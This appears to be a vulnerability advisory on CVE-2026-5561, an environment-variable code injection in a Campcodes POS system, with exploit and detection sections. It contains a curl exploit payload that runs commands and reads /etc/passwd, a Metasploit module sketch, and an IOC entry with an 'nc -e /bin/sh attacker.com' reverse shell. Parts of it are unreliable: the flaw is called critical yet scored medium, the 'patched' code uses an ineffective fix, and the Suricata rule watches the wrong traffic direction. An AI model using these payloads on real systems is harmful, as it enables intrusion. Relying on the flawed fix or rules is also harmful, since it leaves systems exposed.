CVE-2026-5561

Executive Summary

CVE-2026-5561 is a critical code injection vulnerability discovered in Campcodes Complete POS Management and Inventory System, affecting versions up to and including 4.0.6. The flaw resides in the app/Http/Controllers/SettingsController.php file, specifically within the Environment Variable Handler component. An unauthenticated attacker can remotely exploit this vulnerability by manipulating environment variables, leading to arbitrary code execution. The exploit has been publicly disclosed, increasing the risk of widespread attacks. No official patch is currently available from the vendor, making immediate mitigation actions essential.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - Exploit does not affect other components.
• Confidentiality Impact: Low (C:L) - Limited data exposure.
• Integrity Impact: Low (I:L) - Limited data modification.
• Availability Impact: Low (A:L) - Limited service disruption.

Threat Level: High due to public exploit availability, no patch, and low attack complexity.

Deep Dive & Mechanics

The vulnerability is located in the SettingsController.php file, which handles environment variable configurations for the POS system. The application fails to properly sanitize user-supplied input when setting environment variables. An attacker can inject arbitrary PHP code or commands into environment variables that are later evaluated or executed by the system.

Attack Flow:

1. The attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /settings/environment).
2. The request includes a malicious payload in a parameter that controls an environment variable (e.g., APP_KEY, DB_HOST).
3. The application stores this payload without sanitization.
4. When the system later processes the environment variable (e.g., via getenv() or $_ENV), the injected code is executed.

Root Cause: Lack of input validation and output escaping in the environment variable handler.

Vulnerable vs. Patched Code

Vulnerable Code (app/Http/Controllers/SettingsController.php):

public function updateEnvironment(Request $request)
{
    $envFile = base_path('.env');
    $envContent = file_get_contents($envFile);
    foreach ($request->all() as $key => $value) {
        $envContent = preg_replace("/^{$key}=.*/m", "{$key}={$value}", $envContent);
    }
    file_put_contents($envFile, $envContent);
    return redirect()->back()->with('success', 'Environment updated.');
}

Patched Code (Hypothetical):

public function updateEnvironment(Request $request)
{
    $envFile = base_path('.env');
    $envContent = file_get_contents($envFile);
    $allowedKeys = ['APP_NAME', 'APP_ENV', 'APP_DEBUG', 'APP_URL'];
    foreach ($request->all() as $key => $value) {
        if (!in_array($key, $allowedKeys)) {
            continue;
        }
        $sanitizedValue = escapeshellcmd($value);
        $envContent = preg_replace("/^{$key}=.*/m", "{$key}={$sanitizedValue}", $envContent);
    }
    file_put_contents($envFile, $envContent);
    return redirect()->back()->with('success', 'Environment updated.');
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Campcodes Complete POS Management and Inventory System <= 4.0.6
• Network access to the web interface

Exploit Payload:

curl -X POST http://target.com/settings/environment \
  -d "APP_KEY=;system('id');#" \
  -d "DB_HOST=;system('cat /etc/passwd');#"

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Campcodes POS Environment Variable Injection',
      'Description' => 'Exploits CVE-2026-5561 for RCE',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2026-5561']],
      'Targets' => [['Automatic', {}]],
      'Payload' => {'BadChars' => "\x00"},
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('settings', 'environment'),
      'vars_post' => {
        'APP_KEY' => ";#{payload.encoded};#"
      }
    })
  end
end

Lab Setup:

1. Deploy a vulnerable instance using Docker:

FROM php:7.4-apache
RUN apt-get update && apt-get install -y git
RUN git clone https://github.com/campcodes/complete-pos-management.git /var/www/html
RUN chmod -R 777 /var/www/html/storage /var/www/html/bootstrap/cache
EXPOSE 80

2. Build and run: docker build -t vulnerable-pos . && docker run -d -p 8080:80 vulnerable-pos

Blue Team (Defensive)

Detection Steps:

1. Monitor for POST requests to /settings/environment with unusual parameters.
2. Look for environment variable values containing shell metacharacters (;, |, &, $()).
3. Check for unexpected processes spawned by the web server user.

Honeypot Configuration:

# fake_endpoint.py
from flask import Flask, request
app = Flask(__name__)

@app.route('/settings/environment', methods=['POST'])
def honeypot():
    with open('/var/log/honeypot.log', 'a') as f:
        f.write(f"{request.remote_addr}: {request.form}\n")
    return "OK", 200

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /settings/environment with parameters containing shell metacharacters
• Outbound connections from the web server to unknown IPs on non-standard ports

File System IOCs:

• Modified .env file containing shell commands
• Unexpected files in /tmp/ or /var/www/html/ created by the web server user

Log IOCs:

• Apache/Nginx access logs showing POST /settings/environment with suspicious payloads
• PHP error logs containing system(), exec(), or shell_exec() calls

Sample IOC List:

- IP: 192.168.1.100 (attacker)
- URL: http://target.com/settings/environment
- Payload: APP_KEY=;nc -e /bin/sh attacker.com 4444;#
- File: /var/www/html/.env (modified)
- Process: /bin/sh -c id

Detection Engineering

YARA Rule

rule CVE_2026_5561_Environment_Injection {
    meta:
        description = "Detects environment variable injection attempts in Campcodes POS"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-5561"
    strings:
        $suspicious1 = /APP_KEY=.*[;&|`$]/
        $suspicious2 = /DB_HOST=.*[;&|`$]/
        $suspicious3 = /MAIL_*=.*[;&|`$]/
    condition:
        any of ($suspicious*) and filesize < 10KB
}

Sigma Rule

title: CVE-2026-5561 Environment Variable Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-5561
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/settings/environment'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate environment updates with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-5561 - Campcodes POS Environment Variable Injection";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/settings/environment"; http_uri;
    pcre:"/(?:APP_KEY|DB_HOST|MAIL_.*)=.*[;&|`$]/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2026-5561;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /settings/environment via web server configuration.
2. Implement input validation: Whitelist allowed environment variable keys and sanitize values.
3. Apply WAF rules: Block requests containing shell metacharacters in POST parameters.

Long-term Fix:

• Upgrade to a patched version when available (currently none).
• Consider migrating to a different POS system with active security support.

Configuration Changes:

# Apache .htaccess
<LocationMatch "^/settings/environment">
    Deny from all
</LocationMatch>

Nginx Configuration:

location /settings/environment {
    deny all;
    return 403;
}

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2026-5561

{/* [Security Hash: E7D6BCE0829CB9D58B6E2227] */}